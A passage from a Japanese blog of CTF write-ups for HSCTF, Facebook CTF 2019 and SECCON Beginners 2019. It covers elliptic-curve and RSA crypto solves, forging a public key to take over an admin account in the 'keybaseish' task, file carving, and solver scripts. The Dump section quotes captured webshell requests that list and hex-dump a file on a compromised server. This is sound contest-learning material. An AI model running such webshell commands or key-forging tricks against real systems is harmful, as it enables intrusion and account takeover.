print flag
hsctf{square_number_time}

Spooky ECC (Crypto)

スクリプトの概要は以下の通り。

myPubKey = g * myPrivKey
bobPubKey * myPrivKey がAES共通鍵

SSSA AttackでmyPrivKeyを求めることができれば、AES共通鍵がわかる。あとはそのまま復号すればよい。

from ecpy import *
from hashlib import sha256
from Crypto.Cipher import AES
import binascii

def computeSharedSecret(pubkey, privkey):
    return pubkey * privkey

p = 0xb09700d3d1c7123f0b0336474c18c3f3f60002d480a4bce33f007c08b498197ed832687c47c2bc76b7eb199d3a420fcf77d3e5a32389fefb1032744bb473a4bd
A = 0x1b2a886d1cfcaecd03954657956cd03df56ec7709fbb0de738fb073ed20b92b6fa3d72f771618c5e2060a23c33b586a6046993894fd4950db2c12776e77fdbd1
B = 0x303bde5e945d46949b8c9986519a9a1f0301f61ff043b3bf2785fd85e365e4caa163c64ad307db8dbbac0087fd8562273ee61aac095815030cc73c7495b46ddb
g_x = 0x9f12acd5b74cc67e03506be8f904087863ce7fd8ed1de6404f26e8e96bea3761fca1f5b21def5298e7adbbf8787ea431a43d241fda6bc9fbaddeaff35ab4f7c3
g_y = 0x51f33f0e5c36e1bf91ac78b04c7e4f819bfad8db291fc2e20c10ee00e98525927719ecf0e8b96c5e62e3f48a38b94e72dddee1109bfdad9c7dfd3f566da69eb4
h_x = 1177058043549358413014554258002815119079001682731148396776662750875463733619059415667987598866208023692880799135159888362631239206873676420277546691755222
h_y = 6042132606876152754155047441818131810928517366269481359146510190883638121779596002132009344517568983680414721512960291321687246617263491498797986759689315
flag_enc = 'd5cb4f93aa95af738bbcf5cbc1d4f1b66c9c9f84b4257035cf19e3ee41e2b79384fed7ef7d9fb58f6dfb86fefc95429b9f87b5b8a330aa082681fd140b8156bd'

F = FiniteField(p)
E = EllipticCurve(F, A, B)

G = E(g_x, g_y)
H = E(h_x, h_y)

myPrivKey = SSSA_Attack(F, E, G, H)

bob_pub_x = 0x993cf91c25dd287e30cb8f6a0d4fa70e89e90ac0953e7ee876b1ef190a6a442235479162b5ac61beb1d1a5aca03313ff5c53c2e3c81df2fbedf3b0add0b20d18
bob_pub_y = 0x4e75b39de8d5daa3f5f489c02b8fa2cce6f2cfb406bb4a5a0d75d29a3021dcd61df697ef485743e7f8a1b9cc60879bc808e74f9c909b2f0cecb1df0a03c771f5

bobPubKey = E(bob_pub_x, bob_pub_y)

DH_secret = computeSharedSecret(bobPubKey, myPrivKey)
DH_secret_str = '(%d, %d)' % (DH_secret.x, DH_secret.y)
AES_secret = sha256(DH_secret_str).digest()
obj = AES.new(AES_secret, AES.MODE_ECB)
ciphertext = binascii.unhexlify(flag_enc)
plaintext = obj.decrypt(ciphertext)
flag = plaintext.rstrip(' ')
print flag
hsctf{Anomalous curves, m0ar like anom00se curves}

Marginally More Spooky ECC (Crypto)

スクリプトの概要は以下の通り。

myPubKey = g * myPrivKey
bobPubKey * myPrivKey がAES共通鍵

「Spooky ECC」と同様にSSSA AttackでmyPrivKeyを求めることができれば、AES共通鍵がわかる。あとはそのまま復号すればよい。

from ecpy import *
from hashlib import sha256
from Crypto.Cipher import AES
import binascii

def computeSharedSecret(pubkey, privkey):
    return pubkey * privkey

N = 0x5f455eda519035fc8968cd1827931584553b826d33d6aa28553df93381878cc0f0d9ff60184251aa2624e10f79aa2a952a4e5ef06f03b5439af62db1cbc4832024757a21d1bdc0ceb6ac996a6c8258b2f28979f48b989bd90c30aa14a59adec286e2019bccdcae6e92fefcd7e9734b4c2f2d41489f771e58e0903e85f327c930e479c628281a5da73fd18e203f96c60a0738182ce0a137ba6c7a603f66f30e26ef37ddefd14b2787679daf8b040241fa971037b3eff67fe2f021abf62c5e765e1a8d44c62225c7768a8baa602eb06c03d2b79c7c25dc68cd2392432533bb780ba2d4b822b9098d45d28ee83e05e85fc965ef2ca6169c51b5da77a80207a7cfd4ea8471b42ae3093b29702bf62ee9fd16d97928e4da46b9f7564682ce684eab3183b232a2bf64fa9bb39a8e3e45378730432d51f67be725a7cd874c2d065dc5d0b5e8e3fd8d2aeeeb78abb837a08ca7a019e1856e43caf310176c72690bbcd20933fc48f3e3c90793a5c0ec1a5082c366524ffd30430e350079844c0588cf2497
A = 0x22f8e75e46ae5938f376ede629ae4b0c409e95df47addb399d0b7976d9127cecc21690737ff65821f6265418586861137e05c9ac1b5bab058de197b2871a8658b78d725e2a2ed195679748b8d3a01702f823a840ed8b8ab687faf75c3b25e617fd1fb746232380310a402e35ca9b3f5f261cfd4220219a7c8f8e1d8f1df1ee8172ab4096ad673179a06525e824ae63e3ebee83c86371050e805ecb919657deb1bebbf2ab786c75f65473b4c19a2a96aa5b5803eeb9883a46e97bf98d23045853fb628eb76c07936f23733e8661c080a5b09176d9d8696410a8347b4a52e5fb839db70780eecdd4453112e7310624b49ec3240c8b2a280276b409beab0765e1f220158e13e81614c927e982bf265c2626f0b8cc7300071c1b7c6ba6d09533a53c736b0890872b081759d8717964f1d7c659025f3c6b3a1bacb9dfc0847e971aa14c82d174376ddaffa598f3a54d4e2b75c07e80c6f448fbd0cdce5f52bad11adf4245b36664d9ea5a6644679ba9c17453bb7008a57a64b2e0a8527ddb81848cb1
B = 0x1fcb5c6d1ce86a8b6a23bf62b97ba31d9a5944ecc7fdc14de93b4abc62db794b7e1550ed9c2dc3501f2e6256d20e4c96fee5e3ae93069d35acee3644ec75ace6f6626f6d1ab8f48cfb8a05f6cb7409cddac6afe0762732beb1f2ad06f92738790bb805c710a574eb64ce6da4ac304a240fb783290bb30947aed2dab52344f9093067d53c83f800d25a49d263c8a20d389a850b11a4518a9d4fad16f011278617df63304a55f5d9d4c8c5866ace275faf0fcbe2003bf7ff3ae40338c889ac8bf6334ba924ce1b4e146a159453aa7a5bbb85e19932072ca23ee2680e857a713e572c9de3bf675d7f1cf3e4d9838e619558b41373b715e151f759ce721f32beb6e1f0e0b6696989370a9990d2a7653d06dc7b65af2aa90adf3ed68ce74c414066a0ed5a163b0a76e5db4259cc2d28a8de96e43fd939fb53f2a882da9e3ec983860a76607636b9885e00a6a8fb0beba28cada7882a979c5cd2c4577edd4ff5abc93d2ab53b73df724539d1c89449c98f34ee2ad33da21b97625f683ed8a33d5ac6b0
g_x = 0x3f66670d68519cbe0057246a150b34c579e34ec8880bbc4863a9e3cb4794f90ab5efaf00a9ddd323eeb3eb654e1d508be16f5ba3411ab929553fbb0b1c76e9e897055ec094d8747d5cdd47161296547442d8fd63a798d385490ea57aaa3af4af8a75a2495aeda31da47bc1a890abe142784f8743a71861a8c1aab547999acae9e6f72f320b6f550bca5222936b3cc1dfbd657c9cd655121d2a0c83047621f20e65fdba41ec098c6b51269ab8fe22938c292ae199ff49ad9afcc6e99f8d462ee0499c7e58eae6861d593426790fb6d747695e0f93dd3e00e29bb37911e88c13543467444a3ba90d7c9a4eb30aa2b7fd37fb209e034a15ff40b08ea4916311b22e54015fa1772b12dae675780a87546b8cda2bdc324be8b83a1b99a5c151339445a66a2828554b611a4257026d9c20c90617412a85f2786a45fb590c444a3c88d6b8ff38fc2e8972ebc1492c248add99c48f2ec70db4d2460da32d064d58aeeb895cf4e9a20a2b8ce12e426b3f62795adee331b1b61afa2e43884e35818ebe80d6
g_y = 0x38ba31ae0253a3a4070ef7e4380f40684f5a061f49d6591661ad5b4ff57deda46923bdc8185fcda5942f404030516ca5d1c7cf7ec9b43e4cbcdeed0296906988fa054a18d5a7f70f06692a140cf69e669884889bc778d72bd9a1e5c1dcdfba16121461a221dcdac7287ad5b6d3710c00fd100ef89c038baf23c621766e470501aa86de194539fb087dddc3ad5c0f3c78a79d0f4a981850af7c3cb86f392286fe075b10f5761d923cdfcd92cc1017bdee4e83ac64692ac76c40057735122813b2003b19422dc3adaf0f502eb254685ae88161fbde92027d8f419f4f939c988ee7ec34a05736e105d647baf2b84304caf006f39f85096419a11801f2402e02791f3d9813bdd50d8a0a7aaeade853d7b17e75f68612467cc59f7ec3e63ddb3551a697ba02f772671c4569acd5edec0e1e8e6f73fcb032d99789cefb572deb8b6ff330ddd48a2bcf77b47862925a155670679fc9acfd7900d4250a20821eb52a86819daec526f31bfd27cc26d46dfe71da188efde1cbdb115b2cacd910f3f4fb0c63
h_x = 437071643139846376174570991796635821556515973629140637974881910713809347474907708565664978550023080253628563436981461136240187164218943955473906962427621588751133571536263233128379933305722755097642938222821729992112928292343709506067984904756673958537023071586963031303778873355502404560858525640218412720622373369824098745839367743073545069145335781750997022711031566712394148013463290094808515199272554914216404105860245097476566116111286301652851468677715923578954629435631529176601375057076486686319987081515732244810707537343009005070717978425223526163538923468401194292605591320411183706696317193017854195733313461440688247150235910596818920488351049708819811858751684500436391333903440323475318106920865373152352052176746206454328646354342334742517809741676585846785744248199296743482652484393544744906275391431743950732816017334306485823146135060569081401399868784435172595669863476450094990358575115579475893309208
h_y = 1129749802565185627834158659553807502912216175360213456254075674481088988433443479576096556714622648959392819034084284852916959478876546195923213995294956323268527231581766047828610029859113248478558662868743044337554958806463167785068464444239137312628465183766940740668064934990938102926858847015457403169279134366635216151257462869638958624971531184853170344683049422552732473598742118914767190141609028327074078277290367090610634101108300855280065814455390630761148497086654130386459756495733281280347492148461347415812198075975619307315113752254659557316385115639576216222522363256407482949179689085285199590385738252375535519944626298197399005839337752193084119312960497435211490324941382907224728563381320712225158253541488668785632485406927982563839147149734593198947641619638737854288142722191014592471804685884172858025758753635315661266804801339190058215957655776800114139349071970424218949196308458641913657267781
flag_enc = 'f84a130d288fd200e5564253a7ea34e7dda3ccd28f18440fa06c92a3076ccc6746b8b95734c87177e2cc8759e0b00365'

F = FiniteField(N)
E = EllipticCurve(F, A, B)

G = E(g_x, g_y)
H = E(h_x, h_y)

myPrivKey = SSSA_Attack(F, E, G, H)

bob_pub_x = 0x35c7220105e55ae41a7098f528d4b25a4fb9840bae5e1489645be43d3d76853160ddc9afe04a53aef2b400f85b91272e71941c192cf49cbe2b4f73ce8e715da1986e40253eea400ef7b0e6c60aee5cd6984d29bcdd32a53cec2f47fd0f30d4fdf2f46c59a46d2d54c7766558c318230d4265d25ee72b6d8eff54403f36db684236a80dca118d464bd31eff3cb3a30fdd30c6924100960b8fbda2f6b64e7a04332b2ff481788e9ef26516d21d4b10afbbb59519c0bab71d84ff2df56cf29756e169a61a54800761ac4f9ef562f685ec004ff5c26917e28d914c8f3274f9effbc388c8151e46b490256325d9843d1d09f17059bcad949e75ffaa30027d13fcf169689c84f67693d0f12d8ec46a4bda3c9f8e0f61edd1c1525e0b55bf879ec6b3c53c45bc6f76a705de7554a40717e36150ba44ec1a52ae98587055129a02d211da8d18c74f0b69edb020d89325c1a41cdacdc4a7609527b6791407e2a2e79b8f0eb8f581f3317c47eb6a1afda3f8888b3580e4552ed5ab0030487b77b3e87db495
bob_pub_y = 0x17ab49ada83cbac774f8e9d48a9190ce2cde27d20981894526a4f7a151863a78c791d3cabcbe2d720fe9ae75549b685d5d068d61cfc31725ea3e1ee62417e977024e069d5f559c0e706ddeec7609a0ded60b694f638911996b872715ef0aca5b6d0b6652991bd37163885a60842e009794c03a56de47f107ae1b9c3de750d7e479c30836bdbc72f206991388812ace1dc11f03b5e9f96d5f3b80464389d9f137b62ea6d063b866424a4b04605fa2e7c9e2816fe19f98cbafed371711fc0923a234c194996004cf1fae0934a96d54f3dde1aa6d6fe68e84cb1ad2795b969b36b333cae0ac82c4010c12ffcedffc670859135ad0058ffff60f511946e44bc8f5295e85798c0466b2fc89a252797d65a338b37151385355b89adf70f2014667f1374c1508f30165e8b16bf9fd9f789499438db5fa725769a73844306afe2a99344c9fac0954bf3355318b0ba8283c9b45a29714968ee6b05cb381ecf6282d5ee27a4e57a9a646b87661fe3f605228d2326903051a32a3470515a40463d5084b614

bobPubKey = E(bob_pub_x, bob_pub_y)

DH_secret = computeSharedSecret(bobPubKey, myPrivKey)
DH_secret_str = '(%d, %d)' % (DH_secret.x, DH_secret.y)
AES_secret = sha256(DH_secret_str).digest()
obj = AES.new(AES_secret, AES.MODE_ECB)
ciphertext = binascii.unhexlify(flag_enc)
plaintext = obj.decrypt(ciphertext)
flag = plaintext.rstrip(' ')
print flag
hsctf{Y_does_4lice_have_such_weird_cuRV3s?}

Tux's Kitchen (Crypto)

$ nc crypto.hsctf.com 8112

				TUX's KITCHEN
                    ..- - .              
                   '        `.           
                  '.- .  .--. .          
                 |: _ | :  _ :|          
                 |`(@)--`.(@) |          
                 : .'     `-, :          
                 :(_____.-'.' `          
                 : `-.__.-'   :          
                 `  _.    _.   .         
                /  /  `_ '  \    .       
               .  :          \   \      
              .  : _      __  .\   .     
             .  /             : `.  \    
            :  /      '        : `.  .   
           '  `      :          : :  `.  
         .`_ :       :          / '   |  
         :' \ .      :           '__  :  
      .--'   \`-._    .      .' :    `).  
    ..|       \   )          :   '._.'  : 
   ;           \-'.        ..:         / 
   '.           \  - ....-   |        '  
      -.         :   _____   |      .'   
        ` -.    .'--       --`.   .'     
            `--                --    
[94502238958180, 3239939113188L, 36316791069768L, 74074574741772L, 66168572136316L, 80623467427418L, 75026654356284L, 50623013930716L, 14521993191832L, 1043830470864L, 9198516838638L, 12614129459328L, 19390428682606L, 50551489441974L, 23163695523340L, 32930787907352L, 64273717132804L, 2308552454540L, 23927252424676L, 4912213340334L, 48608335665180L, 17825781568022L, 59492604464762L, 61049515860332L, 28121911611052L, 70718923063032L, 6188788875442L, 50884233066568L, 50785141535028L, 38001261855484L, 9087790989292L, 10639550205734L, 6534967064988L, 25391516747560L, 33768565198062L, 16229074586954L, 8835287258924L, 10506577178492L, 9979169202152L, 14220693695642L, 41247903800840L, 41507250686812L, 1601286609988L, 70083909145228L, 31814590623406L, 50377900745900L, 14912013039884L, 35580271413072L, 11077521806466L, 53051496283116L, 18090007827476L, 38902288369748L, 24119603003596L, 26321069617516L, 27262655778060L, 29165495157296L, 28788848037938L, 31099248532660L, 5497383893232L, 48470151532048L, 25946791922962L, 25460577127462L, 24691906525312L, 21699741615156L, 30529196924104L, 5142675176780L, 56902352320640L, 24695196850078L, 16999993798690L, 65447783457532L]

スクリプトの処理概要は以下のようになっている。

■key = bake_it()
・10000以上99999以下の回数だけ以下実行
 s = random.randint(100000000000,999999999999)
・s -= random.randint(232,24895235)
・random.randint(100000000000,999999999999)を返却

■final_baking(flag,key)
・baked = rand0m_mess(food,key)
 mess = [key]
 (foodの長さ-1)回以下実行
 ・a=(a*b+c)%d
 ・messにaをappend
 messを返却
・treasureにflagの長さだけ以下をappend
 ord(flag[i])*baked[i]
・treasure = prepare(treasure)
・treasureを表示

ランダム値は何になるかはわからないが、prepare前のtreasureは算出できる。また、prepare前のtreasureの各要素はord(flag[i])*baked[i]になっているため、必ずord(flag[i])の倍数になる。この値を取り、最大公約数を取れば、フラグの各文字のASCIIコードになる。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def rev_prepare(food):
    org_food = food
    for i in range(len(org_food)):
        org_food[-1] -= MY_LUCKY_NUMBER
    for i in range(len(org_food)):
        org_food[i] = org_food[i] ^ MY_LUCKY_NUMBER
    return org_food

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

MY_LUCKY_NUMBER = 29486316

codes = []
for i in range(10):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('crypto.hsctf.com', 8112))
    data = recvuntil(s, '--    \n').rstrip()
    print data
    data = recvuntil(s, ']')
    print data
    treasure = rev_prepare(eval(data))
    if i == 0:
        codes = treasure
    else:
        for j in range(len(codes)):
            gcd, _, _ = egcd(codes[j], treasure[j])
            codes[j] = gcd

flag = ''
for code in codes:
    flag += chr(code)

print flag

実行結果は以下の通り。

    :
                                TUX's KITCHEN
                    ..- - .
                   '        `.
                  '.- .  .--. .
                 |: _ | :  _ :|
                 |`(@)--`.(@) |
                 : .'     `-, :
                 :(_____.-'.' `
                 : `-.__.-'   :
                 `  _.    _.   .
                /  /  `_ '  \    .
               .  :          \   \
              .  : _      __  .\   .
             .  /             : `.  \
            :  /      '        : `.  .
           '  `      :          : :  `.
         .`_ :       :          / '   |
         :' \ .      :           '__  :
      .--'   \`-._    .      .' :    `).
    ..|       \   )          :   '._.'  :
   ;           \-'.        ..:         /
   '.           \  - ....-   |        '
      -.         :   _____   |      .'
        ` -.    .'--       --`.   .'
            `--                --
[81118554797092, 7547416817262L, 13924726641214L, 24608708806052L, 20427372177504L, 4752740762539L, 25685977718996L, 6587661423732L, 6387324995677L, 2779701188569L, 1996595265884L, 10244439233919L, 22440974883832L, 17437990453970L, 4906410834476L, 4633172239142L, 10569490399219L, 6343329221262L, 14609369031062L, 4042647881186L, 23115014471738L, 8643276090734L, 14351992012611L, 20538335765384L, 5654620504828L, 22864776681506L, 9808285250767L, 21882865717333L, 8401998681094L, 20393585938440L, 4493085708140L, 12732130156075L, 18738761835793L, 18689672713854L, 6832347691292L, 12320314719526L, 5600302004409L, 12692625054340L, 20271109605100L, 9486494930594L, 14858167076081L, 10711897536764L, 6740004248652L, 7064890768756L, 10955238662235L, 9420096213164L, 1695027316220L, 8815883981882L, 3359624516498L, 3210261582694L, 4838126713825L, 5415903477176L, 1430472167156L, 16972867365502L, 14937265628996L, 353527285145L, 3861324095989L, 5791399138428L, 16645079816928L, 5130270927668L, 1659285419958L, 1903779832800L, 15454714302078L, 2270784256068L, 11695285242083L, 648658065248L, 8724789270003L, 1406023999045L, 2169124259302L, 1943044899939L]
hsctf{th1s_1s_0ne_v3ry_l0ng_fl@g_b3ca8s3_t5x_l0v3z_vveR9_LOn9_flaGs7!}
hsctf{th1s_1s_0ne_v3ry_l0ng_fl@g_b3ca8s3_t5x_l0v3z_vveR9_LOn9_flaGs7!}

Survey (Miscellaneous)

アンケートに答えたら、フラグが表示された。

hsctf{come_back_next_year!}

Facebook CTF 2019 Writeup

この大会は2019/6/1 9:00(JST)~2019/6/3 9:00(JST)に開催されました。
今回もチームで参戦。結果は2380点で1734チーム中73位でした。
自分で解けた問題をWriteupとして書いておきます。

irc (misc)

freenodeで#fbctf-2019チャネルに入る。

09:14 *topic : CTF has started. Event ends June 3rd 00:00:00 UTC. fb{move_fast_and_hack_things}
fb{move_fast_and_hack_things}

easter egg (misc)

https://www.fbctf.com/careersのHTMLソースを見ると、HTMLタグの間に1文字ずつフラグの断片が入っている。

fb{we're_hiring}

keybaseish (crypto)

login画面やregister画面そのものには特に何も情報はない。次にlogin画面にリンクされているパスワードリカバリ画面を開く。
f:id:satou-y:20190608082742p:plain
ここではアクセスするたびに変わるpin番号が書いてあり、signature生成のスクリプトへのリンクがある。
スクリプトhttp://challenges.fbctf.com:8080/downloadは以下のようになっている。

from Crypto.PublicKey import RSA
from Crypto import Random

def print_twitter(sig):
    sig_str = str(sig)
    n = (len(sig_str) / 255) + 1
    chunks, chunk_size = len(sig_str), int(len(sig_str)/n) + 1
    tweets = [ sig_str[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
    print("Please post these signature strings as public twitter posts from your accout:")
    for ndx in range(len(tweets)):
        print ('  "PRF{}/{}:{}"'.format(ndx+1, len(tweets), tweets[ndx]))

def main():
    rng = Random.new().read
    print('Enter challenge pin from site: ')
    pin = input()
    print('Signing "{}" with a new RSA key....'.format(pin))
    RSAkey = RSA.generate(1024, rng)
    signature = RSAkey.sign(int(pin), rng)
    key_params = RSAkey.__getstate__()
    print_twitter(signature[0])
    print('\\n\\nPlease input your public key on the web form:')
    print('  "{}:{}"'.format(key_params['e'], key_params['n']))
    print('\\n\\n')

if __name__ == '__main__':
    main()

スクリプトRSAの通常の署名アルゴリズムになっていて、以下の式が成り立つ。

pow(signature, e, n) == pin

またパスワードリカバリ画面には、管理者のアカウントの情報として、以下のURLが記載されている。

https://twitter.com/baseishcoinfou1

ここにアクセスすると、signatureに関する情報が記載されている。
f:id:satou-y:20190608083033p:plain
スクリプトからsignatureは分断されているだけということがわかるので、1/2に書かれている数値と2/2に書かれている数値を結合したものがsignatureになる。
あとはeを適当に決めて、nを算出してe:nの形式にできれば、フラグにつながる情報が得られる。pinには900194が表示されたので、それを前提にスクリプトを組む。

sig1 = '43522081190908620239526125376626925272670879862906206214798620592212761409287968319160030205818706732092664958217053982767385296720310547463903001181881966'
sig2 = '554081621263332073144333148831108871059921677679366681345909190184917461295644569942753755984548017839561073991169528773602380297241266112083733072690367'
sig = int(sig1 + sig2)

e = 5
pin = 900194

n = pow(sig, e) - pin

print str(e) + ':' + str(n)

実行結果は以下の通り。

5:156152259934610603327242777109298638373934572320003018946780705593035129444427250712903196953268692654576940252842426080729553952653677882004392693966587497895771126063209172520687408155983845138814448218643812756870429001677159139697312185528286445629870220439486395991895413533025617686453330864683812555753179156400433858871091471963735884941049381029699284926525734780530683371637232542486580601832498002442370205259218637335066255536340402863614960635863279257288993952331758568563539255171752333659803630559976542479997459049186400474006649599261061239561731085004017823362429679461455596473090496147014713630612514413037251048846131962952608974559597665037989589516588758915639505296076818565509671460227096392858914958248349719519761080165615153613390888909577250254133864459387364823840496709605537195438529272540877498372727188018102166924786597538072319044503910010189326796934513137869684765977644563798377464844285519970335294217160696344254550102370879793030817756422968722131250375494110628633064924047523515038128770714301615363185342011455425978139447595336835379107137242896370138133354739730815895341370949542102301040465958437918589288157598747503502123011375289921007339937318514618737528870366815796019608309972031321180211231027906387141262192775078672105433479871010768651433527003348326639168952600370384527925162635252188830536959099871687232387447443824170080109823399109258223217519865552564954330502656132579024379460503613264612232039663908389480448494284442261160415871697947245392343456421606992172540056413

ハンドルネームはtwitterのハンドルネームを指定して、このスクリプトの実行結果を公開鍵として指定する。

twitter handle: baseishcoinfou1
public key: スクリプト実行結果

送信すると、画面遷移し、以下の情報が表示された。

Temporary Password
Account @admin Recovered:

Use this password to login: RWTFK1Z3zx5dsBV

login画面で以下を指定して送信すると、フラグが表示された。

Twitter handle: baseishcoinfou1
Password: RWTFK1Z3zx5dsBV

f:id:satou-y:20190608083320p:plain

flag{6F4EF3C06D00C14731B424069225CC6CAE96CD869E03C1B45A5D94A08F679DA2}

SECCON Beginners CTF 2019 Writeup

この大会は2019/5/25 15:00(JST)~2019/5/26 15:00(JST)に開催されました。
今回は個人で参戦。結果は2270点で666チーム中34位でした。
解けた問題をWriteupとして書いておきます。

[warmup] Welcome (Misc)

freenodeで#seccon-beginners-ctfチャネルに入ると、フラグが書いてあった。

15:02 *topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}
ctf4b{welcome_to_seccon_beginners_ctf}

containers (Misc)

foremostでカービングする。

$ foremost containers
Processing: containers
|*|

pngがたくさん抽出でき、1文字ずつ画像になっていて、順に結合するとフラグになる。

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump (Misc)

添付ファイルはpcapファイルだった。Wiresharkで開き、httpでフィルタリングする。それぞれ以下の内容になっている。

■No.12
GET /webshell.php?cmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n
-> ls -l /home/ctf4b/flag

■No.14
-rw-r--r-- 1 ctf4b ctf4b 767400 Apr  7 19:46 /home/ctf4b/flag\n

■No.22
GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n
-> hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag

■No.3193
バイナリを8進数で表現して並べている。

flagファイルを復元してみる。

with open('3193.bin', 'r') as f:
    o_data = f.read().rstrip()

codes = o_data.replace('\n', ' ').split(' ')

flag = ''
for code in codes:
    flag += chr(int(code, 8))

with open('flag', 'wb') as f:
    f.write(flag)
$ file flag
flag: gzip compressed data, last modified: Sun Apr  7 10:46:34 2019, from Unix
$ mv flag flag.gz
$ gzip -d flag.gz
$ file flag
flag: POSIX tar archive
$ mv flag flag.tar
$ tar xvf flag.tar 
./._flag.jpg
flag.jpg

flag.jpgにフラグが書いてあった。
f:id:satou-y:20190527215033j:plain

ctf4b{hexdump_is_very_useful}

Sliding puzzle (Misc)

3x3のスライドパズルを繰り返し解くと最後にフラグが表示されるようだ。https://github.com/fabianokafor369/Sliding-puzzle-solver/blob/master/main.pyを流用する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def place_heuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass

    flat_statelist = [item for sublist in state for item in sublist]
    misplacedcounter = 0
    for element in flat_statelist:
        if flat_statelist.index(element) != element:
            misplacedcounter += 1
    return misplacedcounter

def Manhattan_heuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    mandistance = 0

    for element in flat_statelist:
        distance = abs(flat_goallist.index(element) - flat_statelist.index(element))
        xcoord, ycoord = distance//len(state[0]), distance%len(state[0])
        mandistance += xcoord + ycoord
    return mandistance

def myheuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    mydistance = 0

    for i in range(len(state[0])):
        for j in state[i]:
            for k in state[i]:
                if j and k in goalstate(state)[i] and (flat_goallist.index(j) - flat_statelist.index(j) > 0 and flat_goallist.index(k) - flat_statelist.index(k) < 0) or (flat_goallist.index(j) - flat_statelist.index(j) < 0 and flat_goallist.index(k) - flat_statelist.index(k) > 0):
                    mydistance += 2
    return mydistance/2 + Manhattan_heuristic(state)

heuristics = [place_heuristic, Manhattan_heuristic, myheuristic]

def goalstate(state):
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    goal = []
    glstcounter = 0
    for j in range(len(state[0])):
        goal.append(range(glstcounter, glstcounter + len(state[0])))
        glstcounter += len(state[0])
    return goal

def moves(inputs, n):
    storage  =  []
    inputs = str(inputs)
    move = eval(inputs)

    i = 0
    while 0 not in move[i]: i += 1
    j = move[i].index(0);  # blank space (zero)

    if i > 0:
        move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j];
        storage.append(str(move))
        move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j];

    if i < n-1:
        move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j]
        storage.append(str(move))
        move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j]

    if j > 0:
        move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j]
        storage.append(str(move))
        move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j]

    if j < n-1:
        move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j]
        storage.append(str(move))
        move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j]

    return storage

def Astar(start, finish, heuristic):
    n = len(start)
    start , finish = str(start), str(finish)
    pathstorage = [[heuristic(start), start]]  # optional: heuristic_1
    expanded = []
    expanded_nodes = 0
    while pathstorage:
        i = 0
        for j in range(1, len(pathstorage)):
            if pathstorage[i][0] > pathstorage[j][0]:
                i = j
        path = pathstorage[i]
        pathstorage = pathstorage[:i] + pathstorage[i + 1:]
        finishnode = path[-1]
        if finishnode == finish:
            break
        if finishnode in expanded: continue
        for b in moves(finishnode, n):
            if b in expanded: continue
            newpath = [path[0] + heuristic(b) - heuristic(finishnode)] + path[1:] + [b]
            pathstorage.append(newpath)
            expanded.append(finishnode)
        expanded_nodes += 1
    return expanded_nodes,  len(path), path

def get_sp_pos(matrix):
    for i in range(len(matrix)):
        for j in range(len(matrix[0])):
            if matrix[i][j] == 0:
                return i, j

def solvePuzzle(n, state, heuristic, prnt):
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))

    if len(flat_statelist) != n**2:
        steps, frontierSize, err = 0, 0, -1
    elif True in [i not in flat_statelist for i in range(0,n**2-1)]:
        steps, frontierSize, err = 0, 0, -1
    else:
        steps, frontierSize, solutions = Astar(state,goalstate(state), heuristic)
        err = 0

    ope = ''
    if prnt == True:
        pre = (-1, -1)
        for sol in solutions[1:]:
            if pre[0] != -1:
                cur = get_sp_pos(eval(sol))
                if cur[0] == pre[0]:
                    if cur[1] < pre[1]:
                        ope += '3,'
                    else:
                        ope += '1,'
                else:
                    if cur[0] < pre[0]:
                        ope += '0,'
                    else:
                        ope += '2,'
                pre = cur
            else:
                pre = get_sp_pos(eval(sol))
    return ope[:-1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.50.201', 24912))

for i in range(100):
    print 'Round %d' % (i+1)
    puzzle = []
    data = recvuntil(s, '\n').rstrip()
    print data
    for j in range(3):
        data = recvuntil(s, '\n').rstrip()
        print data
        puzzle.append(map(int, data[2:-2].split(' | ')))
    data = recvuntil(s, '\n').rstrip()
    print data
    ans = solvePuzzle(3, puzzle, heuristics[2], True)
    print ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
Round 100
----------------
| 01 | 00 | 05 |
| 03 | 02 | 04 |
| 06 | 07 | 08 |
----------------
2,1,0,3,3

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

[warmup] So Tired (Crypto)

base64デコードすると、zlibデータになっている。さらに展開すると、base64になっている。これを繰り返していくと、フラグにたどりつきそう。

import zlib

with open('encrypted.txt', 'r') as f:
    data = f.read()

i = 1
while True:
    print 'Round %d' % i
    try:
        data = zlib.decompress(data.decode('base64'))
    except:
        break
    i += 1

print data
